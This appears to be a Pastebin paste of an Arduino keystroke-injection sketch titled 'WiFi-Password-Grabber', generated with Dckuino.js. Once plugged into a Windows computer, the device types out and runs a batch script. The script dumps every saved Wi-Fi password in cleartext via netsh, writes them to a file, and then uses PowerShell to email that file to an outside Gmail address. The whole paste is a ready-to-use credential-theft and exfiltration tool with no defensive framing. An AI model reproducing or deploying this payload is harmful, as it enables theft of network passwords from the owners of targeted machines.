Guest User

Untitled

a guest
Sep 16th, 2017
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.25 KB | None | 0 0
  1. /*
  2. * Generated with <3 by Dckuino.js, an open source project !
  3. */
  4.  
  5. #include "Keyboard.h"
  6.  
  7. void typeKey(int key)
  8. {
  9. Keyboard.press(key);
  10. delay(50);
  11. Keyboard.release(key);
  12. }
  13.  
  14. /* Init function */
  15. void setup()
  16. {
  17. // Begining the Keyboard stream
  18. Keyboard.begin();
  19.  
  20. // Wait 500ms
  21. delay(500);
  22.  
  23. // Author - Pulkit Singh Singhania - https://www.youtube.com/pulkitsinghaniapulkittech/ - psinghania929@gmail.com
  24. // WiFI-Password-Grabber-v1.0_(Works on Every Version Of Windows Without Any Bug)
  25. Keyboard.press(KEY_LEFT_GUI);
  26. Keyboard.press('r');
  27. Keyboard.releaseAll();
  28.  
  29. delay(500);
  30.  
  31. Keyboard.print("notepad.exe");
  32.  
  33. typeKey(KEY_RETURN);
  34.  
  35. delay(2000);
  36.  
  37. Keyboard.print("setlocal enabledelayedexpansion");
  38.  
  39. typeKey(KEY_RETURN);
  40.  
  41. Keyboard.print(":main");
  42.  
  43. typeKey(KEY_RETURN);
  44.  
  45. Keyboard.print(" :: Get all the profiles");
  46.  
  47. typeKey(KEY_RETURN);
  48.  
  49. Keyboard.print(" call :get-profiles r");
  50.  
  51. typeKey(KEY_RETURN);
  52.  
  53. Keyboard.print(" :: For each profile, try to get the password");
  54.  
  55. typeKey(KEY_RETURN);
  56.  
  57. Keyboard.print(" :main-next-profile");
  58.  
  59. typeKey(KEY_RETURN);
  60.  
  61. Keyboard.print(" for /f \"tokens=1* delims=,\" %%a in (\"%r%\") do (");
  62.  
  63. typeKey(KEY_RETURN);
  64.  
  65. Keyboard.print(" call :get-profile-key \"%%a\" key");
  66.  
  67. typeKey(KEY_RETURN);
  68.  
  69. Keyboard.print(" if \"!key!\" NEQ \"\" (");
  70.  
  71. typeKey(KEY_RETURN);
  72.  
  73. Keyboard.print(" echo WiFi: [%%a] Password: [!key!] >> password.txt");
  74.  
  75. typeKey(KEY_RETURN);
  76.  
  77. Keyboard.print(" )");
  78.  
  79. typeKey(KEY_RETURN);
  80.  
  81. Keyboard.print(" set r=%%b");
  82.  
  83. typeKey(KEY_RETURN);
  84.  
  85. Keyboard.print(" )");
  86.  
  87. typeKey(KEY_RETURN);
  88.  
  89. Keyboard.print(" if \"%r%\" NEQ \"\" goto main-next-profile");
  90.  
  91. typeKey(KEY_RETURN);
  92.  
  93. Keyboard.print(" echo.");
  94.  
  95. typeKey(KEY_RETURN);
  96.  
  97. Keyboard.print(" pause");
  98.  
  99. typeKey(KEY_RETURN);
  100.  
  101. Keyboard.print(" goto :eof");
  102.  
  103. typeKey(KEY_RETURN);
  104.  
  105. Keyboard.print("::");
  106.  
  107. typeKey(KEY_RETURN);
  108.  
  109. Keyboard.print(":: Get the WiFi key of a given profile");
  110.  
  111. typeKey(KEY_RETURN);
  112.  
  113. Keyboard.print(":get-profile-key <1=profile-name> <2=out-profile-key>");
  114.  
  115. typeKey(KEY_RETURN);
  116.  
  117. Keyboard.print(" setlocal");
  118.  
  119. typeKey(KEY_RETURN);
  120.  
  121. Keyboard.print(" set result=");
  122.  
  123. typeKey(KEY_RETURN);
  124.  
  125. Keyboard.print(" FOR /F \"usebackq tokens=2 delims=:\" %%a in (");
  126.  
  127. typeKey(KEY_RETURN);
  128.  
  129. Keyboard.print(" `netsh wlan show profile name^=\"%~1\" key^=clear ^| findstr /C:\"Key Content\"`) DO (");
  130.  
  131. typeKey(KEY_RETURN);
  132.  
  133. Keyboard.print(" set result=%%a");
  134.  
  135. typeKey(KEY_RETURN);
  136.  
  137. Keyboard.print(" set result=!result:~1!");
  138.  
  139. typeKey(KEY_RETURN);
  140.  
  141. Keyboard.print(" )");
  142.  
  143. typeKey(KEY_RETURN);
  144.  
  145. Keyboard.print(" (");
  146.  
  147. typeKey(KEY_RETURN);
  148.  
  149. Keyboard.print(" endlocal");
  150.  
  151. typeKey(KEY_RETURN);
  152.  
  153. Keyboard.print(" set %2=%result%");
  154.  
  155. typeKey(KEY_RETURN);
  156.  
  157. Keyboard.print(" )");
  158.  
  159. typeKey(KEY_RETURN);
  160.  
  161. Keyboard.print(" goto :eof");
  162.  
  163. typeKey(KEY_RETURN);
  164.  
  165. Keyboard.print("::");
  166.  
  167. typeKey(KEY_RETURN);
  168.  
  169. Keyboard.print(":: Get all network profiles (comma separated) into the result result-variable");
  170.  
  171. typeKey(KEY_RETURN);
  172.  
  173. Keyboard.print(":get-profiles <1=result-variable>");
  174.  
  175. typeKey(KEY_RETURN);
  176.  
  177. Keyboard.print(" setlocal");
  178.  
  179. typeKey(KEY_RETURN);
  180.  
  181. Keyboard.print(" set result=");
  182.  
  183. typeKey(KEY_RETURN);
  184.  
  185. Keyboard.print(" FOR /F \"usebackq tokens=2 delims=:\" %%a in (");
  186.  
  187. typeKey(KEY_RETURN);
  188.  
  189. Keyboard.print(" `netsh wlan show profiles ^| findstr /C:\"All User Profile\"`) DO (");
  190.  
  191. typeKey(KEY_RETURN);
  192.  
  193. Keyboard.print(" set val=%%a");
  194.  
  195. typeKey(KEY_RETURN);
  196.  
  197. Keyboard.print(" set val=!val:~1!");
  198.  
  199. typeKey(KEY_RETURN);
  200.  
  201. Keyboard.print(" set result=%!val!,!result!");
  202.  
  203. typeKey(KEY_RETURN);
  204.  
  205. Keyboard.print(" )");
  206.  
  207. typeKey(KEY_RETURN);
  208.  
  209. Keyboard.print(" (");
  210.  
  211. typeKey(KEY_RETURN);
  212.  
  213. Keyboard.print(" endlocal");
  214.  
  215. typeKey(KEY_RETURN);
  216.  
  217. Keyboard.print("set %1=%result:~0,-1%");
  218.  
  219. typeKey(KEY_RETURN);
  220.  
  221. Keyboard.print(" )");
  222.  
  223. typeKey(KEY_RETURN);
  224.  
  225. Keyboard.print(" goto :eof");
  226.  
  227. delay(500);
  228.  
  229. Keyboard.press(KEY_LEFT_CTRL);
  230. Keyboard.press('s');
  231. Keyboard.releaseAll();
  232.  
  233. delay(1000);
  234.  
  235. Keyboard.print("%appdata%\\WiFiGrabber.bat");
  236.  
  237. typeKey(KEY_RETURN);
  238.  
  239. delay(1000);
  240.  
  241. Keyboard.press(KEY_LEFT_ALT);
  242. Keyboard.press(KEY_F4);
  243. Keyboard.releaseAll();
  244.  
  245. delay(1000);
  246.  
  247. Keyboard.press(KEY_LEFT_GUI);
  248. Keyboard.press('r');
  249. Keyboard.releaseAll();
  250.  
  251. delay(1000);
  252.  
  253. Keyboard.print("cmd");
  254.  
  255. typeKey(KEY_RETURN);
  256.  
  257. delay(100);
  258.  
  259. Keyboard.print("cd %appdata%");
  260.  
  261. typeKey(KEY_RETURN);
  262.  
  263. Keyboard.print("WiFiGrabber.bat");
  264.  
  265. typeKey(KEY_RETURN);
  266.  
  267. delay(5000);
  268.  
  269. typeKey(KEY_RETURN);
  270.  
  271. Keyboard.print("powershell");
  272.  
  273. typeKey(KEY_RETURN);
  274.  
  275. delay(1000);
  276.  
  277. Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
  278.  
  279. typeKey(KEY_RETURN);
  280.  
  281. Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
  282.  
  283. typeKey(KEY_RETURN);
  284.  
  285. Keyboard.print("$SMTPInfo.EnableSsl = $true");
  286.  
  287. typeKey(KEY_RETURN);
  288.  
  289. Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('sender@gmail.com', 'senderpass');");
  290.  
  291. typeKey(KEY_RETURN);
  292.  
  293. Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
  294.  
  295. typeKey(KEY_RETURN);
  296.  
  297. Keyboard.print("$ReportEmail.From = 'sender@gmail.com'");
  298.  
  299. typeKey(KEY_RETURN);
  300.  
  301. Keyboard.print("$ReportEmail.To.Add('reciever@gmail.com')");
  302.  
  303. typeKey(KEY_RETURN);
  304.  
  305. Keyboard.print("$ReportEmail.Body = 'Here Are The Wi-fi Passwords'");
  306.  
  307. typeKey(KEY_RETURN);
  308.  
  309. Keyboard.print("$ReportEmail.Attachments.Add('password.txt')");
  310.  
  311. typeKey(KEY_RETURN);
  312.  
  313. delay(1000);
  314.  
  315. Keyboard.print("$SMTPInfo.Send($ReportEmail)");
  316.  
  317. typeKey(KEY_RETURN);
  318.  
  319. Keyboard.print("exit");
  320.  
  321. typeKey(KEY_RETURN);
  322.  
  323. delay(5000);
  324.  
  325. Keyboard.press(KEY_LEFT_ALT);
  326. Keyboard.press(KEY_F4);
  327. Keyboard.releaseAll();
  328.  
  329. // Ending stream
  330. Keyboard.end();
  331. }
  332.  
  333. /* Unused endless loop */
  334. void loop() {}
Add Comment
Please, Sign In to add comment